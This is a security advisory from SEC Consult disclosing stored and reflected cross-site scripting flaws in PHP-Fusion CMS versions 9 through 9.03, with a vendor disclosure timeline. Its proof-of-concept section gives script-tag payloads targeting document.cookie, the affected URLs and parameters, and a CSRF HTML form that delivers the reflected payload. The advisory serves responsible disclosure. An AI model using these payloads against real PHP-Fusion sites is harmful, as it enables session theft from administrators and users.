PHP-Fusion CMS 9.03 Cross Site Scripting

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  • PHP-Fusion CMS versions 9 through 9.03 suffer from multiple cross site scripting vulnerabilities.
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    SEC Consult Vulnerability Lab Security Advisory < 20200225-0 >  
    title: Multiple Cross-site Scripting (XSS) Vulnerabilities  
    product: PHP-Fusion CMS  
    vulnerable version: 9 - 9.03  
    fixed version: 9.03.30  
    CVE number: -  
    impact: Medium  
    found: 2019-12-09  
    by: M. Ali (Office Malaysia)  
    N. Ramadhan (Office Malaysia)  
    W. Ikram (Office Malaysia)  
    R. Jaafar (Office Malaysia)  
    S. Maskan (Office Malaysia)  
    SEC Consult Vulnerability Lab  
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    Vendor description:  
    "PHP-Fusion is a lightweight open source content management system (CMS) written  
    in PHP."  
    Business recommendation:  
    Update to the latest version of PHP-Fusion. An in-depth security  
    analysis performed by security professionals is highly advised, as the  
    software may be affected from further security issues.  
    Vulnerability overview/description:  
    1. Stored XSS vulnerability  
    This vulnerability within PHP-Fusion allows an attacker (user with edit post  
    capability) to inject malicious client side scripting code which will be  
    executed in the browser of a user with "Error Log" access privilege (usually  
    administrator or super administrator).  
    2. Reflected XSS vulnerability  
    This vulnerability within PHP-Fusion allows an attacker to inject malicious  
    client side scripting code which will be executed in the browser of users.  
    Proof of concept:  
    1. Stored XSS vulnerability  
    a) Edit Blog Post Function  
    This vulnerability can be exploited by an attacker with "edit post" capability.  
    By editing a blog post, malicious script code can be injected through the  
    affected parameters (defined below). When saving the changes made, the  
    application will store the XSS payload in the database as an error (table  
    <dbtableprefix>_errors). Then, the application will load all the errors to  
    notify the administrator in the "Error Log" notification module. The XSS payload  
    will get executed on any page since it was the application behavior loading all  
    the errors on any page as long as the affected user's session is active.  
    Below is the example on how the XSS issue can be exploited.  
    URL : http://$DOMAIN/<PHP-Fusion Directory>/fusion/infusions/blog/blog_admin.php?aid=<aid>&action=edit&section=blog_form&blog_id=<id#>  
    PAYLOAD: '><script>alert(document.cookie)</script>  
    PARAMETER: blog_image, blog_image_t1, blog_image_t2  
    Content-Type: multipart/form-data; boundary=---------------------------247592002319215  
    Content-Length: 3051  
    Origin: http://$DOMAIN  
    Connection: close  
    Referer: http://$DOMAIN/fusion/infusions/blog/blog_admin.php?aid=<aid>&action=edit&section=blog_form&blog_id=2  
    Cookie: [snip]  
    Content-Disposition: form-data; name="blog_image"  
    2. Reflected XSS vulnerability  
    a) Preview Function  
    This vulnerability can be exploited by an unauthenticated attacker.  
    The XSS payload is injected in the preview.ajax.php script through the parameter "text".  
    Below is the example on how the XSS issue can be exploited through CSRF.  
    URL : http://$DOMAIN/<PHP-Fusion Directory>/includes/dynamics/assets/preview/preview.ajax.php  
    PAYLOAD: <script>alert(document.cookie)</script>  
    Create a HTML file with content as below and open it with browser.  
    <form action="$DOMAIN/<PHP-Fusion Directory>/includes/dynamics/assets/preview/preview.ajax.php" method="POST">  
    <input type="hidden" name="text" value="xyz<script>alert(document.cookie)</script>zzz" />  
    <input type="hidden" name="editor" value="html" />  
    <input type="hidden" name="url" value="/infusion/xxyyzz.php" />  
    <input type="submit" value="Submit request" />  
    Vulnerable / tested versions:  
    PHP-Fusion version 9.03.00 has been tested, which was the latest version  
    available at the time of the test.  
    Vendor contact timeline:  
    2019-12-10: Contacting vendor by email  
    [[email protected]](/cdn-cgi/l/email-protection), [[email protected]](/cdn-cgi/l/email-protection)  
    [[email protected]](/cdn-cgi/l/email-protection), [[email protected]](/cdn-cgi/l/email-protection)  
    2019-12-11: Vendor lead developer contact SEC Consult via Whatsapp and ask to  
    send the detail unencrypted to his email [[email protected]](/cdn-cgi/l/email-protection)  
    Email sent to the lead developer on the same day.  
    2020-01-23: Vendor fixed the reported issues, but it can be bypassed. SEC Consult  
    informed the Lead Developer via Whatsapp. The lead developer  
    requests extension (3 weeks). Latest possible release date  
    changed to 24th Feb 2020.  
    2020-02-01: Vendor fixed issue no. 2 (Reflected XSS). Issue no. 1 (Stored  
    XSS) remains unfixed.  
    2020-02-04: Vendor informed fixed version available on github page.  
    2020-02-11: Vendor requested two weeks to inform their users to update their  
    websites. Latest possible release date changed to 25th Feb 2020.  
    2020-02-11: Requesting CVE ID, only automatic reply with request ID  
    2020-02-21: Asking for CVE ID again, no reply  
    2020-02-25: Public release of security advisory  
    The fixed version 9.03.30 is available at the vendor's download section:  
    Advisory URL:  
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    EOF M. Ali, W. Ikram, S. Maskan, N. Ramadhan, R. Jaafar / @2020  


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